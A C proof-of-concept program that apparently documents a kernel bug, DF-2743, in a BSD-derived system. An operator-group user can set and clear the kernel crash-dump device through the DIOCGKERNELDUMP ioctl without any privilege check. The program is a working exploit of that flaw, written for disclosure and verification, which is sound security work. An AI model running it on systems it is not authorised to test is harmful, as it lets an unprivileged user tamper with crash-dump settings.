/*
 * DF-2743 PoC -- DIOCGKERNELDUMP requires no privilege.
 *
 * sys/kern/subr_disk.c:1186-1189 forwards DIOCGKERNELDUMP straight to
 * disk_dumpconf() -> set_dumper() (sys/kern/kern_shutdown.c:949-961) with
 * no priv_check/caps_priv_check and no FWRITE gate.  Any principal that can
 * open a cooked disk node (group operator on the 0640 root:operator nodes)
 * can register or clear the crash dumper.
 *
 * Run as a member of group operator (NOT root):
 *   ./poc2743 /dev/vn0
 * Expect: enable -> 0, second enable -> EBUSY (proof the dumper got
 * registered), disable -> 0.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/diskslice.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	int fd, r;
	u_int u;

	if (argc < 2) { fprintf(stderr, "usage: %s <diskdev>\n", argv[0]); return 2; }
	printf("uid=%d euid=%d gid=%d\n", getuid(), geteuid(), getgid());
	fd = open(argv[1], O_RDONLY);
	if (fd < 0) { perror("open"); return 1; }

	u = 1;
	r = ioctl(fd, DIOCGKERNELDUMP, &u);
	printf("DIOCGKERNELDUMP(enable)  -> %d errno=%d (%s)\n",
	    r, errno, r ? strerror(errno) : "OK");
	if (r != 0) { printf("NOT reproduced (enable failed)\n"); return 1; }

	r = ioctl(fd, DIOCGKERNELDUMP, &u);
	printf("DIOCGKERNELDUMP(enable2) -> %d errno=%d (%s)\n",
	    r, errno, r ? strerror(errno) : "OK");
	if (r == 0 || errno != EBUSY)
		printf("unexpected (expected EBUSY if dumper registered)\n");
	else
		printf("dumper IS registered by this unprivileged-ioctl caller\n");

	u = 0;
	r = ioctl(fd, DIOCGKERNELDUMP, &u);
	printf("DIOCGKERNELDUMP(disable) -> %d errno=%d (%s)\n",
	    r, errno, r ? strerror(errno) : "OK");
	if (r == 0)
		printf("REPRODUCED: operator-class caller set and cleared the"
		    " kernel dump device without any privilege check\n");
	return 0;
}
